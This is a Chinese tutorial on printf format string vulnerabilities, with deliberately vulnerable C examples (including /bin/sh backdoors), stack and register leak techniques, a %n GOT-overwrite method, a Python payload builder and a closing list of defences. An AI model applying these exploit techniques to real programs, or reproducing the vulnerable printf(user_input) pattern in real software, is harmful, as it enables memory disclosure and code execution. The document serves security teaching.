printf 常见漏洞
字数 1028 2025-08-05 08:19:22

printf 格式化字符串漏洞详解

漏洞原理概述

printf 格式化字符串漏洞是由于程序员错误地将用户输入直接作为 printf 函数的第一个参数(格式化字符串)使用,导致攻击者可以控制格式化字符串内容,从而能够:

  1. 泄露栈或寄存器中的敏感信息
  2. 向特定内存地址写入数据
  3. 破坏程序执行流程

漏洞类型与利用技术

1. 整数型泄露

原理:利用 %n$d 格式直接指定要泄露的栈位置(n表示位置偏移)

示例代码

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int login(long long password) {
    char buf[0x10] = {0};
    long long your_pass;
    scanf("%15s", buf);
    printf(buf);  // 漏洞点
    printf("\n");
    scanf("%lld", &your_pass);
    return password == your_pass;
}

int main() {
    long long password;
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    srand(time(NULL));
    password = rand();
    if(login(password)) {
        system("/bin/sh");
    } else {
        printf("Failed!\n");
    }
    return 0;
}

利用方法

  1. 通过调试确定password在栈上的偏移位置
  2. 在64位系统中,前6个参数通过寄存器传递,之后的参数通过栈传递
  3. 假设password位于栈上第11个位置,则使用 %17$lld 泄露(6寄存器+11栈位置)

利用示例

./login
%17$lld
706665966
706665966

2. 浮点型泄露

原理:使用 %a 格式以16进制形式输出double型变量,可以精确泄露地址

关键点

  • 编译器在调用printf前会将浮点变量压入xmm寄存器
  • 如果printf参数是用户控制的buf,编译器会设置eax为0
  • 此时输出浮点型会泄露栈上的内容

示例代码

#include <stdio.h>
#include <dlfcn.h>

int main() {
    char *libc_addr = *(char**)dlopen("libc.so.6", RTLD_LAZY);
    printf("libc addr: %p\n", libc_addr);
    printf("%lx\n", (long long)(libc_addr + 0x5f4000) >> 8);
    printf("%a\n%a\n");  // 漏洞点
    return 0;
}

调试分析

0x7ffff7844e89 <printf+9> mov qword ptr [rsp + 0x28], rsi
0x7ffff7844e8e <printf+14> mov qword ptr [rsp + 0x30], rdx
0x7ffff7844e93 <printf+19> mov qword ptr [rsp + 0x38], rcx
0x7ffff7844e98 <printf+24> mov qword ptr [rsp + 0x40], r8
0x7ffff7844e9d <printf+29> mov qword ptr [rsp + 0x48], r9

利用结果

libc addr: 0x7f9223e6d000
7f92244610
0x0p+0
0x0.07f92244610ep-1022

3. 字符串泄露

原理:使用 %s 格式泄露栈上或寄存器指向的字符串

示例代码

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>

void timeout() {
    puts("Timeout!");
    exit(0);
}

int main() {
    char buf[0x10];
    scanf("%15s", buf);
    signal(14, timeout);
    alarm(60);
    printf(buf);  // 漏洞点
    return 0;
}

调试分析

[REGISTERS]
RSI 0x7fffffffd840 —▸ 0x55555555483a (timeout) ◂— push rbp

利用方法

  • 通过 %s 可以泄露 signal 函数设置的 timeout 函数地址
  • 从而计算出程序基地址

4. 写入型漏洞

原理:使用 %n 格式向指定地址写入数据

两种情形

  1. 栈上地址可控:可实现任意地址写
  2. 只能写到栈中指定地址:进行部分覆盖

示例代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void backdoor() {
    execve("/bin/sh", NULL, NULL);
    asm("xor %rdi, %rdi\nmov $60, %eax\nsyscall");
}

int main() {
    char buf[0x100];
    scanf("%255s", buf);
    printf(buf);  // 漏洞点
    exit(0);
}

利用方法

  • 假设没有开启PIE,可以修改exit函数的got表为backdoor地址
  • 构造格式化字符串实现精确写入

格式化字符串构造示例(Python)

import struct

content = 'abcdefgh'
addr = 0x400000
offset = 16
inner_offset = 3

payload = ''
last = 0
for i in range(len(content)):
    payload += ' %%%dc%%%d$hhn' % ((ord(content[i]) - last + 0x100) % 0x100, offset + i)
    payload += 'a' * inner_offset + ''.join([struct.pack('Q', addr + i) for i in range(len(content))])

print(payload)

防御措施

  1. 永远不要将用户输入直接作为printf的格式化字符串

    // 错误
    printf(user_input);
    
    // 正确
    printf("%s", user_input);
    
  2. 使用编译器保护机制:

    • GCC的 -Wformat-security 选项
    • -Wformat=2 选项
  3. 使用静态分析工具检测潜在漏洞

  4. 启用安全机制:

    • ASLR(地址空间布局随机化)
    • RELRO(重定位只读)
    • Stack Canary(栈保护)

总结

printf格式化字符串漏洞是二进制安全中常见且危险的漏洞类型,攻击者可以利用它实现信息泄露和任意代码执行。理解其原理和利用技术对于安全研究和漏洞防护都至关重要。开发者应始终遵循安全编码实践,避免将用户输入直接作为格式化字符串使用。

printf 格式化字符串漏洞详解 漏洞原理概述 printf 格式化字符串漏洞是由于程序员错误地将用户输入直接作为 printf 函数的第一个参数(格式化字符串)使用,导致攻击者可以控制格式化字符串内容,从而能够: 泄露栈或寄存器中的敏感信息 向特定内存地址写入数据 破坏程序执行流程 漏洞类型与利用技术 1. 整数型泄露 原理 :利用 %n$d 格式直接指定要泄露的栈位置(n表示位置偏移) 示例代码 : 利用方法 : 通过调试确定password在栈上的偏移位置 在64位系统中,前6个参数通过寄存器传递,之后的参数通过栈传递 假设password位于栈上第11个位置,则使用 %17$lld 泄露(6寄存器+11栈位置) 利用示例 : 2. 浮点型泄露 原理 :使用 %a 格式以16进制形式输出double型变量,可以精确泄露地址 关键点 : 编译器在调用printf前会将浮点变量压入xmm寄存器 如果printf参数是用户控制的buf,编译器会设置eax为0 此时输出浮点型会泄露栈上的内容 示例代码 : 调试分析 : 利用结果 : 3. 字符串泄露 原理 :使用 %s 格式泄露栈上或寄存器指向的字符串 示例代码 : 调试分析 : 利用方法 : 通过 %s 可以泄露 signal 函数设置的 timeout 函数地址 从而计算出程序基地址 4. 写入型漏洞 原理 :使用 %n 格式向指定地址写入数据 两种情形 : 栈上地址可控:可实现任意地址写 只能写到栈中指定地址:进行部分覆盖 示例代码 : 利用方法 : 假设没有开启PIE,可以修改exit函数的got表为backdoor地址 构造格式化字符串实现精确写入 格式化字符串构造示例(Python) : 防御措施 永远不要将用户输入直接作为printf的格式化字符串 : 使用编译器保护机制: GCC的 -Wformat-security 选项 -Wformat=2 选项 使用静态分析工具检测潜在漏洞 启用安全机制: ASLR(地址空间布局随机化) RELRO(重定位只读) Stack Canary(栈保护) 总结 printf格式化字符串漏洞是二进制安全中常见且危险的漏洞类型,攻击者可以利用它实现信息泄露和任意代码执行。理解其原理和利用技术对于安全研究和漏洞防护都至关重要。开发者应始终遵循安全编码实践,避免将用户输入直接作为格式化字符串使用。